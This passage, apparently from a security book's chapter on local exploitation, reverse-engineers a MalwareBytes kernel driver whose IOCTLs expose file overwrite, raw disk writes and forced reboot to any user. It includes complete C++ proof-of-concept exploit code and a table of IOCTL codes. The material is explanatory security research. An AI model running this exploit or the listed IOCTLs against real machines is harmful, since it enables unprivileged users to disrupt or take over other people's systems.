PAGE:0002C35B   cmp     ecx, 67h

PAGE:0002C35E   ja      loc_2C5A9       ; jumptable 0002C36B default case

PAGE:0002C364   movzx   ecx, ds:byte_2C62E[ecx]

PAGE:0002C36B   jmp     ds:off_2C5CE[ecx*4] ; switch jump

The code in boldface in the preceding listing is a switch table that is used to determine which code must be executed according to the IOCTL code. Going to the pseudo-code view makes it easier to determine what is happening. This is the switch's pseudo-code, with the interesting IOCTL code in boldface:

  switch ( io_stack_location->Parameters.DeviceIoControl.IoControlCode )

  {

    case MB_HandleIoctlEnumerate:

      v12 = HandleIoctlEnumerate(Irp, io_stack_location, (int)buf);

      goto FREE_POOL_AND_RELEASE_MUTEX;

    case MB_HandleIoctlEnumerateADS:

      v12 = HandleIoctlEnumerateADS(Irp, io_stack_location,

            (wchar_t *)buf);

      goto FREE_POOL_AND_RELEASE_MUTEX;

    case MB_HandleIoctlOverwriteFile:

      v12 = HandleIoctlOverwriteFile(Irp, io_stack_location,

            (wchar_t *)buf);

      goto FREE_POOL_AND_RELEASE_MUTEX;

    case MB_HandleIoctlReadFile:

      v12 = HandleIoctlReadFile(Irp, io_stack_location, buf);

      goto FREE_POOL_AND_RELEASE_MUTEX;

    case MB_HandleIoctlBreakFile:

      v15 = HandleIoctlBreakFile(Irp, io_stack_location, (PCWSTR)buf);

      goto LABEL_41;

    case MB_HandleIoCreateFile_FileDeleteChild:

      v12 = HandleIoCreateFile(Irp,

            (int)io_stack_location, (wchar_t *)buf, FILE_DELETE_CHILD);

      goto FREE_POOL_AND_RELEASE_MUTEX;

    case MB_HandleIoCreateFile_FileDirectoryFile:

      v12 = HandleIoCreateFile(Irp, (int)io_stack_location, (wchar_t *)buf, FILE_DIRECTORY_FILE);

      goto FREE_POOL_AND_RELEASE_MUTEX;

    case MB_HandleIoctlReadWritePhysicalSector1:

      v12 = HandleIoctlReadWritePhysicalSector(Irp,

            (int)io_stack_location, (int)buf, 1);

      goto FREE_POOL_AND_RELEASE_MUTEX;

    case MB_HandleIoctlReadWritePhysicalSector2:

      v12 = HandleIoctlReadWritePhysicalSector(Irp,

            (int)io_stack_location, (int)buf, 0);

      goto FREE_POOL_AND_RELEASE_MUTEX;

(..)

    case MB_HalRebootRoutine:

      HalReturnToFirmware(HalRebootRoutine);

      return result;

(…)

According to the function names and IOCTL code, you can determine that it's exporting a lot of functionality to userland that should not be exported at all for all user-processes. This is a short explanation of the IOCTLs from the pseudo-code in boldface above:

·     MB_HandleIoctlOverwriteFile—Allows any user-mode process to ­overwrite any file

·     MB_HandleIoctlReadFile—Allows any user-mode process to read any file

·     MB_HandleIoCreateFile_FileDeleteChild—Delete any file and/or directory

·     MB_HandleIoctlReadWritePhysicalSector1/2—Read or write physical sectors from/to the disk

·     MB_HalRebootRoutine—Executes HalReturnToFirmwareHalRebootRoutine to reboot the machine from the kernel

This means that an attacker abusing the functionality of this MalwareBytes's driver can own the targeted machine at, almost, any level. Such an attacker, thanks to the protective software, can create files anywhere, overwrite whatever he or she wants, or even install a boot-kit as it allows writing physically to disk regardless of the local privileges of the attacker. From a security point of view, this is a complete disaster: the antivirus, which is supposed to protect its users from malicious attackers, is actually exposing functionality that can be used by any user to own the machine.

The proof-of-concept code I wrote, to prove that my understanding of the driver is right, simply reboots the machine the hard way, from the kernel, ­without showing any dialog or letting the user know that the machine is going to reboot. This is the code for themain.cpp file:

#include "mb_swiss.h"

//--------------------------------------------------------------------

void usage(const char *prog_name)

{

  printf(

    "Usage: %s\n"

    "--reboot Forcefully reboot the machine.\n"

    "-v       Show version information about the driver.\n", prog_name);

}

//-------------------------------------------------------------------

int main(int argc, char **argv)

{

  CMBSwiss swiss;

  if ( swiss.open_device() )

  {

    printf("[+] Device successfully opened\n");

    for ( int i = 1; i < argc; i++ )

    {

      if ( strcmp(argv[i], "--reboot") == 0 )

      {

        printf("[+] Bye, bye!!!");

        Sleep(2000);

        swiss.reboot();

        printf("[!] Something went wrong :/\n");

      }

      else if ( strcmp(argv[i], "-v") == 0 )

      {

        char ver[24];

        if ( swiss.get_version(ver, sizeof(ver)) )

          printf("[+] MBAMSwissArmy driver version %s\n", ver);

        else

          printf("[!] Error getting MBAMSwissArmy driver version :(\n");

      }

      else

      {

        usage(argv[0]);

      }

    }

  }

  return 0;

}

The code only handles two commands: —reboot to reboot the machine and -v to show the driver version. It creates an object of type CMBSwiss and calls the method reboot or get_version accordingly. Now, look at the mb_swiss.h header file:

#ifndef MB_SWISS_H

#define MB_SWISS_H

#include <windows.h>

#include <string>

#include <tlhelp32.h>

#include <winternl.h>

#include <wchar.h>

#include <stdio.h>

//-----------------------------------------------------------------

#define MBSWISS_DEVICE_NAME L"\\\\.\\MBAMSwissArmy"

//-----------------------------------------------------------------

enum MB_SWISS_ARMY_IOCTLS_T

{

  MB_HandleIoctlEnumerate = 0x222402,

  MB_HandleIoctlEnumerateADS = 0x22245A,

  MB_HandleIoctlOverwriteFile = 0x22242A,

  MB_HandleIoctlReadFile = 0x222406,

  MB_HandleIoctlBreakFile = 0x222408,

  MB_HandleIoCreateFile_FileDeleteChild = 0x22240C,

  MB_HandleIoCreateFile_FileDirectoryFile = 0x222410,

  MB_HandleIoctlReadWritePhysicalSector1 = 0x222416,

  MB_HandleIoctlReadWritePhysicalSector2 = 0x222419,

  MB_0x222435u = 0x222435,

  MB_0x222439u = 0x222439,

  MB_0x22241Du = 0x22241D,

  MB_do_free_dword_2A548 = 0x222421,

  MB_0x222431u = 0x222431,

  MB_DetectKernelHooks = 0x222455,

  MB_HandleIoctlReadMemoryImage = 0x222452,

  MB_0x222442u = 0x222442,

  MB_0x222446u = 0x222446,

  MB_0x22244Au = 0x22244A,

  MB_RegisterShutdownNotification = 0x22244E,

  MB_HalRebootRoutine = 0x222425,

  MB_ReBuildVolumesData = 0x22242D,

  MB_HandleIoctlGetDriverVersion = 0x22245E,

  MB_set_g_sys_buf_2A550 = 0x222461,

  MB_PrintKernelReport = 0x222465,

  MB_free_g_sys_buf_2a550 = 0x222469,

};

//-------------------------------------------------------------------

struct mb_driver_version_t

{

  int major;

  int minor;

  int revision;

  int other;

};

//-------------------------------------------------------------------

class CMBSwiss

{

private:

  HANDLE device_handle;

public:

  bool open_device(void);

  void reboot(void);

  bool get_version(char *buf, size_t size);

  bool overwrite_file(const wchar_t *file1, const wchar_t *file2);

};

#endif

And last but not least, the code for mb_swiss.cpp, where the DeviceIoControl calls are made:

#include "mb_swiss.h"

//-------------------------------------------------------------------

bool base_open_device(const wchar_t *uni_name, HANDLE *device_handle)

{

  HANDLE hFile = CreateFileW(uni_name,

                             GENERIC_READ | GENERIC_WRITE,

                             0, 0, OPEN_EXISTING, 0, 0);

  if ( hFile == INVALID_HANDLE_VALUE )

    printf("[!] Error: %d\n", GetLastError());

  *device_handle = hFile;

  return hFile != INVALID_HANDLE_VALUE;

}

//------------------------------------------------------------------

bool CMBSwiss::open_device(void)

{

  return base_open_device(MBSWISS_DEVICE_NAME, &device_handle);

}

//------------------------------------------------------------------

void CMBSwiss::reboot(void)

{

  DWORD bytes;

  DWORD buf;

  if ( !DeviceIoControl(device_handle, MB_HalRebootRoutine, &buf, sizeof(buf),

       &buf, sizeof(buf), &bytes, 0) )

  {

    printf("[!] Operation failed, %d\n", GetLastError());

  }

}

//------------------------------------------------------------------

bool CMBSwiss::get_version(char *buf, size_t size)

{

  DWORD bytes;

  mb_driver_version_t version = {0};

  if ( !DeviceIoControl(device_handle, MB_HandleIoctlGetDriverVersion,

        &version, sizeof(version), &version, sizeof(version), &bytes, 0) )

  {

    printf("[!] Error getting version %d\n", GetLastError());

    return false;

  }

  _snprintf_s(buf, size, size, "%d.%d.%d.%d", version.major,

version.minor, version.other, version.revision);

  return true;

}

It's worth remembering that this example is using the IOCTL code that the MalwareBytes's driver handles and that this functionality should have never been exposed to any local user. But unfortunately for MalwareBytes's users, they did. The vulnerability, at the time of writing these lines, is still a 0day. However, the vulnerability will be “responsibly” disclosed before publishing. The complete proof-of-concept exploit, with support for more features than just rebooting the machine, is available athttps://github.com/joxeankoret/tahh/malwarebytes.

Note

You may have noticed that I put in quotes the word responsibly. I strongly disagree with the conventional definition of “responsible disclosure.” Responsible disclosure is considered the process in which a security researcher or a group ­discovers one or more vulnerabilities and reports them to the vendor, the vendor fixes the ­vulnerabilities (which may take days or in some cases years), and, finally, both, if the ­vendor allows it, the vendor and the researchers publish a coordinated security advisory. However, responsible disclosure should mean free audits for multi-million dollar ­companies that never audit their products. For security researchers, it should mean working for free with big companies that don't take any responsibility for the irresponsible code that makes their users vulnerable. Often, the security researchers are under the threat of being sued if they publish details about the vulnerabilities, even when they're already fixed. This happened many times to me and to other researchers.

Summary

Local exploitation techniques are used to exploit a product or its components when local access to the target is an option.

This chapter explained various classes of bugs that can lead to exploitation:

·     Memory corruptions bugs—This can mean anything from memory access violations that lead to crashes to arbitrary memory read/write primitives to information leaking.

·     Bad permissions—This type of vulnerability is caused by incorrectly setting, or not setting at all, the privileges or access control lists (ACLs) to system objects, processes, threads, and files. For example, a SYSTEM process with a null ACL is open to attacks from less privileged processes.

·     Logical vulnerabilities—These usually result from logical programming bugs or design flaws in the software. They could be hard to discover, but if found, they can have an adverse effect when exploited. In some cases, such bugs cannot be easily fixed without significant changes in the product because these bugs could be deeply integrated and interwoven with other components in the product.

These are the very simple steps to take to uncover locally exploitable bugs:

1.  Install the software, reboot the machine, and observe all the installed components.

2.  Analyze the local attack surface by reviewing the installed services, the processes, and the kernel drivers by checking the permissions and privileges of each object, file, and so on.

3.  Reverse-engineer the kernel drivers and services to uncover backdoors and interesting IOCTLs that can be sent to the drivers.

Here's a of recap how each class of bugs mentioned above can be exploited:

·     Memory corruption bugs, when present, may allow the attacker to flip a byte in memory and override vital information in a security token or global variables. Imagine for instance that there is a global variable named g_bIsAdmin. When this variable is set to 1, because of an exploit leveraging a memory corruption bug, the software will allow administrative functions to execute (example: disable the antivirus).

·     Antivirus services with bad permissions, invalid privileges, permissions, and ACLs may allow a non-privileged program to interface with a privileged application, running with higher privileges. The attacker may, for instance, remotely create a thread into a privileged process, whose permissions are too relaxed, to execute malicious code. The same bugs, when found in kernel drivers, would allow any user to interface with it and send commands (IOCTLs) and access undocumented yet powerful functions. The section, “More Logical Kernel Vulnerabilities,” contains a lot of hands-on information on how to find and exploit logical bugs.

·     Logical vulnerabilities may manifest as backdoors, hidden features, or incorrect constraints checks. Backdoors and hidden features are usually discovered by reverse-engineering efforts. For example, the Panda Global Protection antivirus, up until the 2013 version, had a kernel driver that would disable the antivirus when it receives a special command (via an IOCTL code).

The next chapter discusses remote exploitation, where it will be possible for the attacker to instigate an attack remotely and get local access to the target machine. When it comes to a multistage attack, from outside the network to the inside, bear in mind that both remote and local exploitation techniques are complementary to each other.